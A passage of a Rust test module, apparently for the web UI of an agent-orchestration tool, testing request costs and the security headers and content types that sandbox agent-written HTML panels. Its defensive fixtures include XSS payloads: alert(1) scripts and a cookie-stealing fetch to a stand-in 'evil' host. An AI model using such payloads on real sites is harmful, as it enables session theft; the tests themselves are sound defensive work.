10874    /// side benefit of asserting the status line and content types the phone
10875    /// actually receives.
10876    struct Fixture {
10877        home: TempDir,
10878        addr: SocketAddr,
10879    }
10880
10881    impl Fixture {
10882        async fn start() -> Self {
10883            Self::with_loop(launch_idle).await
10884        }
10885
10886        /// A fixture whose loop is `launch`.
10887        async fn with_loop(launch: Launch) -> Self {
10888            let home = TempDir::new().expect("temp home");
10889            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10890            Self { home, addr }
10891        }
10892
10893        /// A fixture whose `ui.repo` is a real directory rather than the
10894        /// usual placeholder - for the routes that read config off it
10895        /// (`GET /api/repos`) and would otherwise have nothing to discover.
10896        async fn with_repo(repo: PathBuf) -> Self {
10897            let home = TempDir::new().expect("temp home");
10898            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10899            Self { home, addr }
10900        }
10901
10902        /// As [`Fixture::with_repo`], with the machine-config file the
10903        /// settings screen reads and writes.
10904        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10905            let home = TempDir::new().expect("temp home");
10906            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10907            Self { home, addr }
10908        }
10909
10910        async fn serve(
10911            home: &FsPath,
10912            repo: PathBuf,
10913            launch: Launch,
10914            machine: Option<PathBuf>,
10915        ) -> SocketAddr {
10916            let queue = Queue::at(home.join("queue"));
10917            let runs = home.join("runs");
10918            std::fs::create_dir_all(&runs).expect("runs dir");
10919            let worktrees = home.join("wt").join("magi");
10920            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10921            let ui = Ui::new(
10922                queue,
10923                Questions::at(home.join("questions")),
10924                Talks::at(home.join("talks")),
10925                runs,
10926                home.to_path_buf(),
10927                repo,
10928            )
10929            .with_worktrees_root(worktrees)
10930            .with_machine_config(machine)
10931            .with_launch(launch);
10932            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10933                .await
10934                .expect("bind loopback");
10935            let addr = listener.local_addr().expect("local addr");
10936            tokio::spawn(async move {
10937                let router = ui
10938                    .router()
10939                    .layer(axum::middleware::from_fn(request_cost::observe));
10940                let _ = axum::serve(listener, router).await;
10941            });
10942            addr
10943        }
10944
10945        fn queue(&self) -> Queue {
10946            Queue::at(self.home.path().join("queue"))
10947        }
10948
10949        fn questions(&self) -> Questions {
10950            Questions::at(self.home.path().join("questions"))
10951        }
10952
10953        fn talks(&self) -> Talks {
10954            Talks::at(self.home.path().join("talks"))
10955        }
10956
10957        fn runs(&self) -> PathBuf {
10958            self.home.path().join("runs")
10959        }
10960
10961        async fn get(&self, path: &str) -> Res {
10962            request(self.addr, "GET", path, None).await
10963        }
10964
10965        /// The status and headers without the body, which is how the front end
10966        /// preflights a panel: a sandboxed frame is opaque to the parent
10967        /// document, so the only way to tell "no panel" from "a panel that
10968        /// rendered blank" is to ask before mounting.
10969        async fn head(&self, path: &str) -> Res {
10970            request(self.addr, "HEAD", path, None).await
10971        }
10972
10973        async fn post(&self, path: &str, body: Option<&str>) -> Res {
10974            request(self.addr, "POST", path, body).await
10975        }
10976
10977        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10978            request_with(self.addr, "GET", path, None, extra).await
10979        }
10980
10981        async fn delete(&self, path: &str) -> Res {
10982            request(self.addr, "DELETE", path, None).await
10983        }
10984
10985        async fn put(&self, path: &str, body: &str) -> Res {
10986            request(self.addr, "PUT", path, Some(body)).await
10987        }
10988
10989        /// `POST` a raw body with its own headers - see [`request_bytes`].
10990        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10991            request_bytes(self.addr, path, headers, body).await
10992        }
10993    }
10994
10995    /// Real tracking refs exercise the successful discovery path (including
10996    /// extraction), rather than counting cheap failures on a placeholder repo.
10997    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10998        let tmp = TempDir::new().unwrap();
10999        let mut repos = Vec::new();
11000        for name in ["one", "two"] {
11001            let repo = tmp.path().join(name);
11002            let origin = tmp.path().join(format!("{name}.git"));
11003            std::fs::create_dir_all(&repo).unwrap();
11004            crate::git::git(&repo, &["init", "-b", "main"])
11005                .await
11006                .unwrap();
11007            std::fs::write(
11008                repo.join("magi.toml"),
11009                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11010            )
11011            .unwrap();
11012            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11013            crate::git::git(
11014                &repo,
11015                &[
11016                    "-c",
11017                    "user.name=fixture",
11018                    "-c",
11019                    "user.email=fixture@example.invalid",
11020                    "commit",
11021                    "-m",
11022                    "fixture",
11023                ],
11024            )
11025            .await
11026            .unwrap();
11027            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11028                .await
11029                .unwrap();
11030            crate::git::git(
11031                &repo,
11032                &["remote", "add", "origin", origin.to_str().unwrap()],
11033            )
11034            .await
11035            .unwrap();
11036            crate::git::git(&repo, &["push", "origin", "main"])
11037                .await
11038                .unwrap();
11039            crate::git::git(
11040                &repo,
11041                &[
11042                    "symbolic-ref",
11043                    "refs/remotes/origin/HEAD",
11044                    "refs/remotes/origin/main",
11045                ],
11046            )
11047            .await
11048            .unwrap();
11049            let (cfg, _) = Config::discover(&repo, None).unwrap();
11050            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11051            repos.push(repo);
11052        }
11053        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11054        (tmp, repos)
11055    }
11056
11057    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11058        let (tmp, repos) = performance_repositories().await;
11059        let machine = tmp.path().join("machine.toml");
11060        std::fs::write(&machine, "").unwrap();
11061        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11062        (tmp, repos, fx)
11063    }
11064
11065    fn seed_performance(
11066        fx: &Fixture,
11067        repos: &[PathBuf; 2],
11068        questions: usize,
11069        runs: usize,
11070        items: usize,
11071    ) {
11072        // Saving states directly never starts a run or changes MAGI_HOME.
11073        for i in fx.questions().list().len()..questions {
11074            let mut question = Question::new(
11075                "20261001-000000-0000".into(),
11076                "implement".into(),
11077                "impl-A".into(),
11078                format!("question {i}"),
11079                "context".into(),
11080                vec!["yes".into(), "no".into()],
11081            );
11082            question.id = format!("20261003-000000-{i:04x}");
11083            fx.questions().put(&mut question).unwrap();
11084        }
11085        for i in run_ids(&fx.runs()).len()..runs {
11086            write_run_repo(
11087                &fx.runs(),
11088                &format!("20261001-000000-{i:04x}"),
11089                RunStatus::Ready,
11090                repos[i % 2].to_str().unwrap(),
11091            );
11092        }
11093        for i in fx.talks().list().len()..items {
11094            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11095            let mut talk = fx.talks().get(&id).unwrap();
11096            talk.repo = repos[i % 2].clone();
11097            fx.talks().put(&mut talk).unwrap();
11098            let mut task = crate::queue::Task::new(
11099                format!("task {i}"),
11100                "instruction".into(),
11101                repos[i % 2].clone(),
11102                crate::queue::Source::Agent {
11103                    run: id,
11104                    node: crate::queue::CHAT_NODE.into(),
11105                },
11106            );
11107            task.id = format!("20261004-000000-{i:04x}");
11108            fx.queue().put(&mut task).unwrap();
11109            // Notices has a production retention cap; seed up to that cap.
11110            if i < crate::notices::CAP {
11111                Notices::at(fx.home.path().join("notifications"))
11112                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11113                    .unwrap();
11114            }
11115        }
11116        assert_eq!(fx.questions().list().len(), questions);
11117        assert_eq!(run_ids(&fx.runs()).len(), runs);
11118        assert_eq!(fx.talks().list().len(), items);
11119        assert_eq!(fx.queue().list().len(), items);
11120        assert_eq!(
11121            Notices::at(fx.home.path().join("notifications"))
11122                .list()
11123                .len(),
11124            items.min(crate::notices::CAP)
11125        );
11126    }
11127
11128    fn request_counts(res: &Res) -> (usize, usize) {
11129        assert_eq!(res.status, 200, "{}", res.body);
11130        (
11131            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11132            res.header("x-test-git").unwrap().parse().unwrap(),
11133        )
11134    }
11135
11136    #[tokio::test]
11137    async fn list_request_cost_is_independent_of_record_count() {
11138        let (_tmp, repos, fx) = performance_fixture().await;
11139        let mut previous = None;
11140        for n in [4, 60] {
11141            seed_performance(&fx, &repos, n, n, n);
11142            let mut costs = Vec::new();
11143            for (path, discoveries) in [
11144                ("/api/questions", 1),
11145                ("/api/talks", 0),
11146                ("/api/health", 0),
11147                ("/api/stats", 1),
11148            ] {
11149                // Equal cold extraction caches at both scales; this also
11150                // bounds first-request cost instead of only warmed requests.
11151                for repo in &repos {
11152                    let cache = repo.join(".git/magi/config");
11153                    if cache.exists() {
11154                        std::fs::remove_dir_all(cache).unwrap();
11155                    }
11156                }
11157                let cost = request_counts(&fx.get(path).await);
11158                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11159                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11160                assert!(
11161                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11162                    "{path}: {cost:?}"
11163                );
11164                costs.push(cost);
11165            }
11166            if let Some(previous) = previous {
11167                assert_eq!(costs, previous);
11168            }
11169            previous = Some(costs);
11170        }
11171        // runs reads shared row inputs and probes process liveness; queue
11172        // builds one blocker inventory; notifications reads its own store.
11173        // None discovers configuration or spawns git per item.
11174    }
11175
11176    /// The same handler path without transport, so the deterministic cause
11177    /// can also be checked in environments that prohibit binding sockets.
11178    #[tokio::test]
11179    async fn list_handler_cost_without_transport() {
11180        let (_tmp, repos) = performance_repositories().await;
11181        let fx = Fixture {
11182            home: TempDir::new().unwrap(),
11183            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11184        };
11185        let ui = Arc::new(
11186            Ui::new(
11187                fx.queue(),
11188                fx.questions(),
11189                fx.talks(),
11190                fx.runs(),
11191                fx.home.path().to_path_buf(),
11192                repos[0].clone(),
11193            )
11194            .with_worktrees_root(fx.home.path().join("wt")),
11195        );
11196        let mut previous = None;
11197        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11198            seed_performance(&fx, &repos, n, runs, items);
11199            let mut costs = Vec::new();
11200            for endpoint in ["questions", "talks", "health", "stats"] {
11201                for repo in &repos {
11202                    let cache = repo.join(".git/magi/config");
11203                    if cache.exists() {
11204                        std::fs::remove_dir_all(cache).unwrap();
11205                    }
11206                }
11207                let (_, cost) = request_cost::measure(async {
11208                    match endpoint {
11209                        "questions" => {
11210                            let _ = questions_list(State(ui.clone())).await.unwrap();
11211                        }
11212                        "talks" => {
11213                            let _ = talks_list(
11214                                State(ui.clone()),
11215                                Query(ListQuery {
11216                                    limit: None,
11217                                    ids: None,
11218                                }),
11219                                header::HeaderMap::new(),
11220                            )
11221                            .await
11222                            .unwrap();
11223                        }
11224                        "health" => {
11225                            let _ = health(State(ui.clone())).await.unwrap();
11226                        }
11227                        _ => {
11228                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11229                                .await
11230                                .unwrap();
11231                        }
11232                    }
11233                })
11234                .await;
11235                eprintln!("{endpoint} handler N={n}: {cost:?}");
11236                assert_eq!(
11237                    cost.0,
11238                    if matches!(endpoint, "talks" | "health") {
11239                        0
11240                    } else {
11241                        1
11242                    },
11243                    "{endpoint}"
11244                );
11245                assert!(
11246                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11247                    "{endpoint}: {cost:?}"
11248                );
11249                costs.push(cost);
11250            }
11251            if let Some(previous) = previous {
11252                assert_eq!(costs, previous);
11253            }
11254            previous = Some(costs);
11255        }
11256    }
11257
11258    #[tokio::test]
11259    async fn list_request_cost_scopes_do_not_mix() {
11260        let (_tmp, repos, fx) = performance_fixture().await;
11261        seed_performance(&fx, &repos, 10, 0, 10);
11262        let (questions, talks, notices) = tokio::join!(
11263            fx.get("/api/questions"),
11264            fx.get("/api/talks"),
11265            fx.get("/api/notifications")
11266        );
11267        assert_eq!(request_counts(&questions).0, 1);
11268        // Cached summaries perform no config discovery or git work, even
11269        // alongside the questions request that still discovers config.
11270        assert_eq!(request_counts(&talks), (0, 0));
11271        assert_eq!(request_counts(&notices), (0, 0));
11272    }
11273
11274    #[tokio::test]
11275    async fn list_endpoints_large_home_responses() {
11276        check_large_home_endpoints(false).await;
11277    }
11278
11279    #[tokio::test]
11280    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11281    async fn list_endpoints_large_home_ceiling() {
11282        check_large_home_endpoints(true).await;
11283    }
11284
11285    async fn check_large_home_endpoints(timed: bool) {
11286        let (_tmp, repos, fx) = performance_fixture().await;
11287        seed_performance(&fx, &repos, 200, 300, 400);
11288        let mut failures = Vec::new();
11289        // app.js boot/change loads plus the initial dashboard, settings and
11290        // repo picker. SSE is a persistent stream, not a bounded GET.
11291        for path in [
11292            "/",
11293            "/app.js",
11294            "/app.css",
11295            "/api/questions",
11296            "/api/runs?limit=300",
11297            "/api/queue",
11298            "/api/talks",
11299            "/api/notifications",
11300            "/api/health",
11301            "/api/stats",
11302            "/api/loop",
11303            "/api/settings",
11304            "/api/repos",
11305        ] {
11306            let start = std::time::Instant::now();
11307            let result = if timed {
11308                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11309            } else {
11310                Ok(fx.get(path).await)
11311            };
11312            let elapsed = start.elapsed();
11313            eprintln!("{path}: {elapsed:?}");
11314            match result {
11315                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11316                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11317                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11318            }
11319        }
11320        assert!(failures.is_empty(), "{}", failures.join("\n"));
11321    }
11322
11323    struct Res {
11324        status: u16,
11325        headers: String,
11326        /// The header block with its original casing, for the assertions that
11327        /// compare a header *value* rather than looking for a name. Lowercasing
11328        /// a CSP would hide a directive spelled with a capital letter, and the
11329        /// whole point of that test is that the string is exactly right.
11330        head: String,
11331        body: String,
11332        /// The body before any UTF-8 handling, for the routes that serve
11333        /// something other than text. A panel asset is a PNG as often as not,
11334        /// and `from_utf8_lossy` would silently replace half of it.
11335        bytes: Vec<u8>,
11336    }
11337
11338    impl Res {
11339        fn json(&self) -> Value {
11340            serde_json::from_str(&self.body)
11341                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11342        }
11343
11344        /// One header's value verbatim, or `None` when it was not sent.
11345        fn header(&self, name: &str) -> Option<&str> {
11346            self.head.lines().find_map(|line| {
11347                let (key, value) = line.split_once(':')?;
11348                key.trim()
11349                    .eq_ignore_ascii_case(name)
11350                    .then(|| value.trim_start().trim_end_matches('\r'))
11351            })
11352        }
11353    }
11354
11355    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11356    /// be read to end-of-stream without parsing framing.
11357    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11358        request_with(addr, method, path, body, &[]).await
11359    }
11360
11361    /// As [`request`], with extra request headers - conditional GETs need
11362    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11363    /// worse than one that sets none.
11364    async fn request_with(
11365        addr: SocketAddr,
11366        method: &str,
11367        path: &str,
11368        body: Option<&str>,
11369        extra: &[(&str, &str)],
11370    ) -> Res {
11371        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11372        for (name, value) in extra {
11373            head.push_str(&format!("{name}: {value}\r\n"));
11374        }
11375        if let Some(body) = body {
11376            head.push_str("Content-Type: application/json\r\n");
11377            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11378        }
11379        head.push_str("\r\n");
11380        if let Some(body) = body {
11381            head.push_str(body);
11382        }
11383        let mut socket = tokio::net::TcpStream::connect(addr)
11384            .await
11385            .expect("connect to the test server");
11386        socket
11387            .write_all(head.as_bytes())
11388            .await
11389            .expect("write request");
11390        let mut raw = Vec::new();
11391        socket.read_to_end(&mut raw).await.expect("read response");
11392        // Split on the raw bytes rather than on a lossy string, so a binary
11393        // body survives to be compared byte for byte.
11394        let split = raw
11395            .windows(4)
11396            .position(|w| w == b"\r\n\r\n")
11397            .expect("a header block");
11398        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11399        let bytes = raw[split + 4..].to_vec();
11400        let status = head
11401            .lines()
11402            .next()
11403            .and_then(|line| line.split_whitespace().nth(1))
11404            .and_then(|code| code.parse().ok())
11405            .expect("a status line");
11406        Res {
11407            status,
11408            headers: head.to_lowercase(),
11409            head,
11410            body: String::from_utf8_lossy(&bytes).into_owned(),
11411            bytes,
11412        }
11413    }
11414
11415    /// A `POST` carrying a raw binary body and its own headers, for the
11416    /// attachment upload route - `request_with` only ever sends
11417    /// `Content-Type: application/json`, which is wrong for an image and
11418    /// would corrupt anything not valid UTF-8 by round-tripping it through
11419    /// `&str` first.
11420    async fn request_bytes(
11421        addr: SocketAddr,
11422        path: &str,
11423        headers: &[(&str, &str)],
11424        body: &[u8],
11425    ) -> Res {
11426        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11427        for (name, value) in headers {
11428            head.push_str(&format!("{name}: {value}\r\n"));
11429        }
11430        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11431        let mut socket = tokio::net::TcpStream::connect(addr)
11432            .await
11433            .expect("connect to the test server");
11434        socket
11435            .write_all(head.as_bytes())
11436            .await
11437            .expect("write request head");
11438        socket.write_all(body).await.expect("write request body");
11439        let mut raw = Vec::new();
11440        socket.read_to_end(&mut raw).await.expect("read response");
11441        let split = raw
11442            .windows(4)
11443            .position(|w| w == b"\r\n\r\n")
11444            .expect("a header block");
11445        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11446        let bytes = raw[split + 4..].to_vec();
11447        let status = head
11448            .lines()
11449            .next()
11450            .and_then(|line| line.split_whitespace().nth(1))
11451            .and_then(|code| code.parse().ok())
11452            .expect("a status line");
11453        Res {
11454            status,
11455            headers: head.to_lowercase(),
11456            head,
11457            body: String::from_utf8_lossy(&bytes).into_owned(),
11458            bytes,
11459        }
11460    }
11461
11462    /// A run on disk, without touching the process-global magi home.
11463    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11464        let mut state = RunState::new(
11465            PathBuf::from("/repo/magi"),
11466            "main".to_owned(),
11467            "0123456789abcdef".to_owned(),
11468            "Add a web UI\n\nMobile first.".to_owned(),
11469            Config::default(),
11470        );
11471        state.id = id.to_owned();
11472        state.status = status;
11473        let dir = runs.join(id);
11474        std::fs::create_dir_all(&dir).expect("run dir");
11475        std::fs::write(
11476            dir.join("run.json"),
11477            serde_json::to_string_pretty(&state).expect("serialize run"),
11478        )
11479        .expect("write run.json");
11480    }
11481
11482    /// Same as [`write_run`], but against a named repository rather than the
11483    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11484    /// spread across more than one.
11485    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11486        let mut state = RunState::new(
11487            PathBuf::from(repo),
11488            "main".to_owned(),
11489            "0123456789abcdef".to_owned(),
11490            "task".to_owned(),
11491            Config::default(),
11492        );
11493        state.id = id.to_owned();
11494        state.status = status;
11495        let dir = runs.join(id);
11496        std::fs::create_dir_all(&dir).expect("run dir");
11497        std::fs::write(
11498            dir.join("run.json"),
11499            serde_json::to_string_pretty(&state).expect("serialize run"),
11500        )
11501        .expect("write run.json");
11502    }
11503
11504    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11505        let body = serde_json::json!({
11506            "schema": 1,
11507            "pid": 4242,
11508            "started_at": Timestamp::now().to_string(),
11509            "updated_at": updated_at.to_string(),
11510            "idle": false,
11511            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11512            "completed": 7,
11513            "polls": 143,
11514        });
11515        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11516    }
11517
11518    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11519    ///
11520    /// No test in this file may start the real loop - see [`Ui::launch`] for
11521    /// why - so this stands in for the only thing the routes need a loop to
11522    /// do: keep running until `Stop` is set, then return. A real
11523    /// `serve_until` here would resolve its queue and its status file through
11524    /// the process-global magi home, claim whatever it found in the
11525    /// operator's live backlog, overwrite the status file of the `magi serve`
11526    /// that owns it, and spend real agent quota on a real competition.
11527    fn launch_idle(
11528        _opts: daemon::Opts,
11529        stop: daemon::Stop,
11530    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11531        Box::pin(async move {
11532            while !stop.stopped() {
11533                tokio::time::sleep(Duration::from_millis(2)).await;
11534            }
11535            Ok(())
11536        })
11537    }
11538
11539    /// A loop that fails on the way up, the way one whose home has gone
11540    /// read-only does.
11541    fn launch_broken(
11542        _opts: daemon::Opts,
11543        _stop: daemon::Stop,
11544    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11545        // The stand-in dies instantly, so a restarted one can record its own
11546        // failure before the start's response is read. The second attempt
11547        // therefore fails with a different message, to tell a stale error
11548        // from a fresh one.
11549        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11550        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11551        Box::pin(async move {
11552            Err(anyhow::anyhow!(if first {
11553                "publish the daemon status file: read-only file system"
11554            } else {
11555                "the restarted stand-in failed as well"
11556            }))
11557        })
11558    }
11559
11560    /// The loop view once `want` accepts it.
11561    ///
11562    /// Polled rather than asserted straight after the POST because stopping
11563    /// is deliberately not instant - that is the contract - and rather than
11564    /// slept through because a fixed wait is either flaky or slow.
11565    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11566    /// finite, so a genuine hang fails the test instead of hanging the
11567    /// suite.
11568    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11569        for _ in 0..SETTLE_STEPS {
11570            let view = fx.get("/api/loop").await.json();
11571            if want(&view) {
11572                return view;
11573            }
11574            tokio::time::sleep(Duration::from_millis(10)).await;
11575        }
11576        panic!(
11577            "the loop never settled: {}",
11578            fx.get("/api/loop").await.json()
11579        );
11580    }
11581
11582    /// File an open question directly in the store the server reads.
11583    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11584        let store = fx.questions();
11585        let mut q = Question::new(
11586            "20260902-000000-beef".to_owned(),
11587            "implement".to_owned(),
11588            "impl-A".to_owned(),
11589            summary.to_owned(),
11590            "because it matters".to_owned(),
11591            choices.iter().map(|c| (*c).to_owned()).collect(),
11592        );
11593        store.put(&mut q).expect("put question");
11594        q.id
11595    }
11596
11597    /// A question with a panel the server can serve, plus the named assets.
11598    ///
11599    /// Written through `Questions::put_panel` rather than by laying out the
11600    /// directory here, so these tests exercise the same on-disk shape the
11601    /// agents produce and cannot pass against a layout only the tests know.
11602    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11603        let store = fx.questions();
11604        let mut q = Question::new(
11605            "20260902-000000-beef".to_owned(),
11606            "land".to_owned(),
11607            "fix".to_owned(),
11608            "Merge this?".to_owned(),
11609            "the diff is in the panel".to_owned(),
11610            vec!["merge".to_owned(), "hold".to_owned()],
11611        );
11612        // Staged outside the questions root, because `put_panel` copies from
11613        // wherever the agent left its files.
11614        let staging = fx.home.path().join("staging");
11615        std::fs::create_dir_all(&staging).expect("staging dir");
11616        let sources: Vec<PathBuf> = assets
11617            .iter()
11618            .map(|(name, bytes)| {
11619                let path = staging.join(name);
11620                std::fs::write(&path, bytes).expect("write staged asset");
11621                path
11622            })
11623            .collect();
11624        store
11625            .put_panel(&mut q, html, &sources)
11626            .expect("write the panel");
11627        store.put(&mut q).expect("put question");
11628        q.id
11629    }
11630
11631    /// A talk on disk, without talking to a model.
11632    ///
11633    /// Written as JSON straight into the store the server reads, because the
11634    /// only constructor `talk::begin` offers takes no turn but still requires
11635    /// a real caller-visible flow. The one thing this cannot make up is the
11636    /// seat, so it is built with the real `SeatState::new` and serialized -
11637    /// the alternative, hand-writing that object, would make these tests fail
11638    /// the day the seat gains a field.
11639    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11640        seed_talk_at(&fx.talks(), id, status)
11641    }
11642
11643    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11644        std::fs::create_dir_all(store.root()).expect("talks dir");
11645        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11646            .expect("serialize a seat");
11647        let body = serde_json::json!({
11648            "schema": 1,
11649            "id": id,
11650            "repo": "/repo/magi",
11651            "agent": "mock",
11652            "status": status,
11653            "turns": [],
11654            "created_at": Timestamp::now().to_string(),
11655            "updated_at": Timestamp::now().to_string(),
11656            "seat": seat,
11657        });
11658        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11659        store.get(id).expect("the seeded talk has to be readable");
11660        id.to_owned()
11661    }
11662
11663    #[tokio::test]
11664    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11665        let fx = Fixture::start().await;
11666        let id = panel(
11667            &fx,
11668            "<h1>Merge?</h1><img src=\"diff.svg\">",
11669            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11670        );
11671
11672        for path in [
11673            format!("/api/questions/{id}/panel"),
11674            format!("/api/questions/{id}/asset/diff.svg"),
11675        ] {
11676            let res = fx.get(&path).await;
11677            assert_eq!(res.status, 200, "{path}: {}", res.body);
11678            // The whole string, not a substring. A weakened directive - an
11679            // `img-src *` that lets a panel beacon out to a remote host, a
11680            // `script-src` anything, a missing `form-action` that lets it post
11681            // the owner's decision to a third party - has to fail here, and a
11682            // `contains` assertion would let every one of those through.
11683            assert_eq!(
11684                res.header("content-security-policy"),
11685                Some(
11686                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11687                     font-src data:; base-uri 'none'; form-action 'none'; \
11688                     frame-ancestors 'self'"
11689                ),
11690                "{path} is the only thing between a hostile panel and the tailnet"
11691            );
11692            assert_eq!(
11693                res.header("x-content-type-options"),
11694                Some("nosniff"),
11695                "{path}: a browser must not re-decide the type we sent"
11696            );
11697            assert_eq!(
11698                res.header("referrer-policy"),
11699                Some("no-referrer"),
11700                "{path}: a panel must not leak the question id off the machine"
11701            );
11702
11703            // The front end mounts the frame only after a `HEAD` says the
11704            // panel is there, so `HEAD` has to answer with the same status and
11705            // the same policy as `GET` - a preflight that came back without
11706            // the CSP would mean a frame mounted on an unverified promise.
11707            let pre = fx.head(&path).await;
11708            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11709            assert_eq!(
11710                pre.header("content-security-policy"),
11711                res.header("content-security-policy"),
11712                "{path}: the preflight carries the same policy"
11713            );
11714            assert_eq!(
11715                pre.header("content-type"),
11716                res.header("content-type"),
11717                "{path}: the preflight carries the same type"
11718            );
11719        }
11720    }
11721
11722    #[tokio::test]
11723    async fn a_panel_reaches_the_browser_byte_for_byte() {
11724        let fx = Fixture::start().await;
11725        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11726        // tag, an entity, and a multi-byte character. The sandbox is what makes
11727        // this safe, so nothing here may be rewritten on the way out - a
11728        // rewritten diff is a diff the owner cannot trust.
11729        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11730        let id = panel(&fx, html, &[]);
11731
11732        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11733
11734        assert_eq!(res.status, 200);
11735        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11736        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11737        assert_eq!(
11738            res.header("content-disposition"),
11739            None,
11740            "the panel itself is rendered in the frame, not downloaded"
11741        );
11742    }
11743
11744    #[tokio::test]
11745    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11746        let fx = Fixture::start().await;
11747        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11748        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11749        let id = panel(
11750            &fx,
11751            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11752            &[("diff.svg", svg), ("shot.png", png)],
11753        );
11754
11755        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11756        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11757
11758        assert_eq!(as_svg.status, 200);
11759        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11760        // An SVG is XML that may carry script. Inside the panel it is an
11761        // `<img src>` and the script cannot run; opened at the top level it
11762        // would be a document on magi's own origin, so the browser is told to
11763        // download it instead of rendering it.
11764        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11765
11766        assert_eq!(as_png.status, 200);
11767        assert_eq!(as_png.header("content-type"), Some("image/png"));
11768        assert_eq!(
11769            as_png.header("content-disposition"),
11770            None,
11771            "a raster image has no execution surface, so tapping it still shows it"
11772        );
11773        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11774    }
11775
11776    #[tokio::test]
11777    async fn an_html_asset_is_never_served_as_html() {
11778        let fx = Fixture::start().await;
11779        let id = panel(
11780            &fx,
11781            "<p>see the notes</p>",
11782            &[
11783                (
11784                    "notes.html",
11785                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11786                ),
11787                ("hook.js", b"fetch('http://evil/')"),
11788                ("data.json", b"{}"),
11789                ("HEADLINE.TXT", b"plain"),
11790            ],
11791        );
11792
11793        for name in ["notes.html", "hook.js", "data.json"] {
11794            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
